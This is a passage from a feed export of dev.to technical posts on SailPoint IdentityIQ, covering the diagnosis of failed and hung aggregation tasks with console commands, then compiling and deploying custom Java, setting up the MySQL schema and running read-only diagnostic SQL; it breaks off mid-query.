&lt;li&gt;Someone (or a scheduled job overlap) explicitly stopped it — check for a &lt;code&gt;terminate &amp;lt;TaskResultName&amp;gt;&lt;/code&gt; call in the audit log or scheduler history.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;"Terminate when maximum number of errors is exceeded"&lt;/strong&gt; threshold was hit. This is a deliberate circuit breaker: rather than aggregating 50,000 accounts and burying one root cause under 4,000 nearly-identical connector errors, IdentityIQ stops after the configured "Maximum errors before termination" count. Read the accumulated errors in the TaskResult before raising the threshold — in the overwhelming majority of cases, all of them trace back to the same upstream problem from Failure Mode 1.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Orphaned task results&lt;/strong&gt; are a different, purely operational problem: an application server restart, forced shutdown, or crash during a running aggregation leaves the TaskResult stuck in a non-terminal state, even though nothing is actually still running. IdentityIQ won't let you cleanly restart a task while its previous TaskResult still looks "in progress." Clear it from the &lt;code&gt;iiq console&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;terminateOrphans please
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;please&lt;/code&gt; argument isn't decorative — this command force-completes every pending TaskResult it finds as Terminated, so it's built to resist being run accidentally. Only run it when you've confirmed (via the app server process list, not just the UI) that nothing is actually executing.&lt;/p&gt;

&lt;p&gt;Once the orphaned result is cleared, restart the task itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;restart &amp;lt;TaskResultName&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Failure Mode 4: Hung Tasks
&lt;/h2&gt;

&lt;p&gt;A task that neither completes nor errors — it just sits at "running" indefinitely — is the hardest of the four to diagnose because there's no error message to read. Work through it in this order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Confirm it's actually hung, not just slow.&lt;/strong&gt; Large LDAP OUs and JDBC sources with millions of rows can legitimately take hours. Check the account-processed counter in the TaskResult; if it's climbing, even slowly, it isn't hung.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rule out a connector-level block.&lt;/strong&gt; Run &lt;code&gt;connectorDebug &amp;lt;applicationName&amp;gt; test&lt;/code&gt; in a separate console session while the task is still running. If the test hangs too, the source system itself is unresponsive — a TCP-level connection that was accepted but is never answering (common with an LDAP server behind a load balancer with a stale health check), not an IdentityIQ problem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For partitioned aggregations&lt;/strong&gt;, one partition thread can silently die while others continue, making the overall task look alive but permanently incomplete. Use:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sendCommand &amp;lt;TaskResultName&amp;gt; stack
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This dumps a thread stack trace for the running task into the server log, letting you see exactly which method each partition thread is blocked in — a JDBC &lt;code&gt;Statement.executeQuery&lt;/code&gt; call with no timeout is the single most common culprit here.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;If a partition or the whole task is confirmed dead with no way to recover it cleanly, &lt;code&gt;terminate &amp;lt;TaskResultName&amp;gt;&lt;/code&gt; stops it, then follow the orphaned-task cleanup above before rerunning.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Reading the TaskResult Systematically
&lt;/h2&gt;

&lt;p&gt;When triaging an aggregation failure, pull the TaskResult in this order rather than scrolling the raw log top to bottom:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Summary counts&lt;/strong&gt; — accounts scanned vs. accounts with errors vs. accounts correlated. A 2% error rate against one connector points to bad data on specific records; a 100% error rate from the first account onward points to a connection or credential problem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The first error, not the last.&lt;/strong&gt; Cascading failures (a connection pool exhausted by account 40 will throw the same exception for every subsequent account) mean the last error in a long list is rarely the root cause — it's a symptom of the first one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Per-account action distribution&lt;/strong&gt; — a spike in "Create New Identity" when you expected "Maintain" usually means a Correlation Rule regression, not an aggregation bug.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Verified Console Commands Reference
&lt;/h2&gt;

&lt;p&gt;Every command below is confirmed against the official IdentityIQ Console documentation, not inferred from behavior:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;run &amp;lt;taskName&amp;gt; [trace] [profile] [sync]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Runs a task with no arguments; &lt;code&gt;trace&lt;/code&gt; prints console output, &lt;code&gt;profile&lt;/code&gt; adds timing stats, &lt;code&gt;sync&lt;/code&gt; runs in the foreground&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;runTaskWithArguments &amp;lt;taskName&amp;gt; [arg1=val1,arg2=val2,...]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Runs a task that requires arguments; always executes synchronously&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;restart &amp;lt;TaskResultName&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Relaunches a previously failed task, in background mode where possible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;terminate &amp;lt;TaskResultName&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stops a running background task; the result shows Cancelled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;terminateOrphans please&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Force-completes all pending/stuck TaskResults as Terminated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sendCommand &amp;lt;TaskResultName&amp;gt; &amp;lt;command&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sends an out-of-band command (&lt;code&gt;terminate&lt;/code&gt;, &lt;code&gt;reanimate&lt;/code&gt;, &lt;code&gt;stack&lt;/code&gt;, or connector-specific) to a running or crashed partitioned task&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;connectorDebug &amp;lt;applicationName&amp;gt; test&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Runs the connector's connection test in isolation, without a full aggregation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;connectorDebug &amp;lt;applicationName&amp;gt; iterate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Walks the account/group iterator the same way aggregation does, surfacing malformed-record errors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tasks&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Lists Name, State, Next Execution, and Cron String for every scheduled task&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Enabling Debug Logging for a Specific Aggregation
&lt;/h2&gt;

&lt;p&gt;Rather than raising the global log level (which floods the log with unrelated noise), scope debug logging to the aggregation executor class in &lt;code&gt;log4j2.properties&lt;/code&gt; under &lt;code&gt;WEB-INF/classes/&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;logger.aggregation.name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;sailpoint.api.Aggregator&lt;/span&gt;
&lt;span class="py"&gt;logger.aggregation.level&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;debug&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;IdentityIQ picks up &lt;code&gt;log4j2.properties&lt;/code&gt; changes automatically within about a minute — no application server restart required. Remove or comment out the logger once you've captured what you need; aggregation debug logging at scale on a large source is verbose enough to fill a log partition on a multi-hour run.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preventing Repeat Failures
&lt;/h2&gt;

&lt;p&gt;Once you've fixed the immediate cause, two configuration changes reduce how often you have to do this again:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Enable Delta Aggregation&lt;/strong&gt; where the connector supports it. Scanning only changed accounts instead of the full population shrinks both the blast radius and the runtime of any future connector hiccup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Set "Disable optimization of unchanged accounts" deliberately, not by default.&lt;/strong&gt; It forces a full re-read of every account on every run, which is useful for a one-time data integrity check after a bad aggregation, but leaving it on permanently multiplies connector load and increases the odds of hitting exactly the timeout and rate-limit failures described above.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the underlying rule and workflow mechanics referenced throughout this guide — Correlation Rules, custom TaskExecutors, and the &lt;code&gt;SailPointContext&lt;/code&gt; API — see the &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell Rules, Workflows, and Tasks guide&lt;/a&gt;. For automating the console commands above into a scheduled health check rather than running them manually after every failure, see &lt;a href="https://dev.to/posts/sailpoint-identityiq-java-mysql-shell-scripting-guide/"&gt;Java, MySQL, and Shell Scripting for IdentityIQ&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>identitygovernance</category>
      <category>iam</category>
    </item>
    <item>
      <title>Java, MySQL, and Shell Scripting for SailPoint IdentityIQ</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Fri, 21 Aug 2026 02:19:40 +0000</pubDate>
      <link>https://dev.to/iamdevbox/java-mysql-and-shell-scripting-for-sailpoint-identityiq-5o1</link>
      <guid>https://dev.to/iamdevbox/java-mysql-and-shell-scripting-for-sailpoint-identityiq-5o1</guid>
      <description>&lt;p&gt;SailPoint IdentityIQ is a Java web application running on an application server against a relational database. Most IdentityIQ development happens in BeanShell rules and XML workflows — covered in the companion guide to &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;IdentityIQ BeanShell rules, workflows, and tasks&lt;/a&gt;. This article covers the layer underneath: when to write compiled Java instead of BeanShell, how the MySQL schema is actually laid out, and the shell scripting that turns manual console work into repeatable automation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Stack, Concretely
&lt;/h2&gt;

&lt;p&gt;An IdentityIQ deployment is four layers, and knowing which one a problem lives in cuts debugging time dramatically:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;What lives there&lt;/th&gt;
&lt;th&gt;Where to look&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Application server&lt;/td&gt;
&lt;td&gt;Tomcat/WebSphere/WebLogic, JVM heap, threads&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;catalina.out&lt;/code&gt;, thread dumps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IdentityIQ WAR&lt;/td&gt;
&lt;td&gt;Your JARs, rules, config&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IdentityIQ_HOME/WEB-INF/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database&lt;/td&gt;
&lt;td&gt;All objects, most as XML blobs&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;spt_&lt;/code&gt; tables&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Target systems&lt;/td&gt;
&lt;td&gt;AD, LDAP, HR feeds, apps&lt;/td&gt;
&lt;td&gt;Connector logs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;IdentityIQ_HOME&lt;/code&gt; is wherever &lt;code&gt;identityiq.war&lt;/code&gt; was expanded — typically &lt;code&gt;$TOMCAT_HOME/webapps/identityiq&lt;/code&gt;. Nearly every path in this article is relative to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Java: When to Leave BeanShell
&lt;/h2&gt;

&lt;p&gt;BeanShell is convenient for short scripts, but it is interpreted, untyped, and untestable. Move to compiled Java when any of these apply:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The logic exceeds roughly 50 lines&lt;/li&gt;
&lt;li&gt;You need unit tests&lt;/li&gt;
&lt;li&gt;It runs in a hot path — per-account during aggregation, for instance&lt;/li&gt;
&lt;li&gt;You need a library BeanShell struggles to use cleanly&lt;/li&gt;
&lt;li&gt;You are writing a custom connector or task executor&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Compiling Against the IdentityIQ API
&lt;/h3&gt;

&lt;p&gt;Your code compiles against &lt;code&gt;identityiq.jar&lt;/code&gt;, found in &lt;code&gt;IdentityIQ_HOME/WEB-INF/lib/&lt;/code&gt;. A minimal Maven setup installs it into your local repository, since SailPoint does not publish to Maven Central:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mvn &lt;span class="nb"&gt;install&lt;/span&gt;:install-file &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-Dfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/opt/tomcat/webapps/identityiq/WEB-INF/lib/identityiq.jar &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-DgroupId&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;sailpoint &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-DartifactId&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;identityiq &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-Dversion&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;8.4 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-Dpackaging&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;jar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then declare it as &lt;code&gt;provided&lt;/code&gt; — it must not be bundled into your artifact, because the container already has it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;sailpoint&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;identityiq&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;8.4&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;scope&amp;gt;&lt;/span&gt;provided&lt;span class="nt"&gt;&amp;lt;/scope&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Marking it &lt;code&gt;compile&lt;/code&gt; instead ships a second copy of every SailPoint class inside your JAR, producing &lt;code&gt;ClassCastException&lt;/code&gt; errors where the same class loaded by two classloaders is not considered equal. This is one of the harder IdentityIQ bugs to diagnose, because the exception message names the same class on both sides.&lt;/p&gt;

&lt;h3&gt;
  
  
  Java Version Compatibility
&lt;/h3&gt;

&lt;p&gt;IdentityIQ 8.x supports Java 8 and 11, with 8.4 adding Java 17 on supported application servers. Compile targeting the version your application server actually runs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;java &lt;span class="nt"&gt;-version&lt;/span&gt;                       &lt;span class="c"&gt;# on the app server host&lt;/span&gt;
mvn &lt;span class="nt"&gt;-DskipTests&lt;/span&gt; package             &lt;span class="c"&gt;# with maven.compiler.release matching&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A mismatch produces &lt;code&gt;UnsupportedClassVersionError&lt;/code&gt; at class load time — not at deployment — so the failure shows up the first time your code is invoked, often long after the deploy appeared to succeed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Deploying a Custom JAR
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl stop tomcat
&lt;span class="nb"&gt;sudo cp &lt;/span&gt;target/iiq-custom-1.0.0.jar /opt/tomcat/webapps/identityiq/WEB-INF/lib/
&lt;span class="nb"&gt;sudo chown &lt;/span&gt;tomcat:tomcat /opt/tomcat/webapps/identityiq/WEB-INF/lib/iiq-custom-1.0.0.jar
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start tomcat
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A restart is mandatory — the JVM does not reload classes from &lt;code&gt;WEB-INF/lib&lt;/code&gt; at runtime. This is the key operational difference from rules, which are database objects you can update live.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Remove the old version explicitly&lt;/strong&gt; when deploying an update with a changed filename. Two JARs both containing &lt;code&gt;com.example.iiq.MyRule&lt;/code&gt; produce nondeterministic behaviour depending on classloader ordering.&lt;/p&gt;

&lt;h2&gt;
  
  
  MySQL: The IdentityIQ Schema
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Generating and Loading the Schema
&lt;/h3&gt;

&lt;p&gt;IdentityIQ generates its own DDL. From &lt;code&gt;IdentityIQ_HOME/WEB-INF/bin&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./iiq schema
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This writes versioned scripts into &lt;code&gt;IdentityIQ_HOME/WEB-INF/database&lt;/code&gt;, named like &lt;code&gt;create_identityiq_tables-8.4.mysql&lt;/code&gt;. Load the one matching your database platform:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mysql &lt;span class="nt"&gt;-u&lt;/span&gt; root &lt;span class="nt"&gt;-p&lt;/span&gt; identityiq &amp;lt; create_identityiq_tables-8.4.mysql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expect this to take anywhere from 45 minutes to 2 hours. Re-run &lt;code&gt;./iiq schema&lt;/code&gt; after adding extended attributes — they become real columns, and the generated DDL changes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Connection Settings
&lt;/h3&gt;

&lt;p&gt;Connection configuration lives in &lt;code&gt;IdentityIQ_HOME/WEB-INF/classes/iiq.properties&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;dataSource.url&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;jdbc:mysql://db.example.com:3306/identityiq?useUnicode=true&amp;amp;characterEncoding=utf8&lt;/span&gt;
&lt;span class="py"&gt;dataSource.username&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;identityiq&lt;/span&gt;
&lt;span class="py"&gt;dataSource.password&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;encrypted-value&amp;gt;&lt;/span&gt;
&lt;span class="py"&gt;dataSource.maxActive&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;50&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The password must be encrypted. Generate the ciphertext with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./iiq encrypt changeit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Paste the output into &lt;code&gt;iiq.properties&lt;/code&gt;. IdentityIQ will not accept a plaintext password here.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Tables You Will Actually Query
&lt;/h3&gt;

&lt;p&gt;Every table carries the &lt;code&gt;spt_&lt;/code&gt; prefix. These are the ones worth knowing:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Table&lt;/th&gt;
&lt;th&gt;Contents&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_identity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The identity cube — one row per person&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_link&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Accounts on target systems, linked to identities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_application&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Connector configurations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_bundle&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Roles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_identity_entitlement&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Who currently holds which entitlement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_task_result&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Task execution history and results&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_workflow_case&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;In-flight workflow state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_work_item&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pending approvals and manual actions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_syslog_event&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;System errors and warnings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_audit_event&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Audit trail&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Read-Only Diagnostics That Save Real Time
&lt;/h3&gt;

&lt;p&gt;These queries answer questions the UI makes tedious. All are &lt;code&gt;SELECT&lt;/code&gt; only.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which aggregations are failing, and how recently:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;completed&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;completed_at&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;completion_status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="k"&gt;SUBSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;first_message&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;   &lt;span class="n"&gt;spt_task_result&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;  &lt;span class="n"&gt;completion_status&lt;/span&gt; &lt;span class="k"&gt;IN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Error'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Warning'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt;  &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;completed&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt;  &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Accounts that failed to correlate&lt;/strong&gt; — the usual cause of "the user exists but has no access":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;        &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="k"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;uncorrelated_accounts&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;   &lt;span class="n"&gt;spt_link&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;
&lt;span class="k"&gt;JOIN&lt;/span&gt;   &lt;span class="n"&gt;spt_application&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;  &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;identity_id&lt;/span&gt; &lt;span class="k"&gt;IS&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;
&lt;span class="k"&gt;GROUP&lt;/span&gt;  &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt;  &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;uncorrelated_accounts&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Workflows stuck in flight&lt;/strong&gt;, which accumulate invisibly and eventually degrade performance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
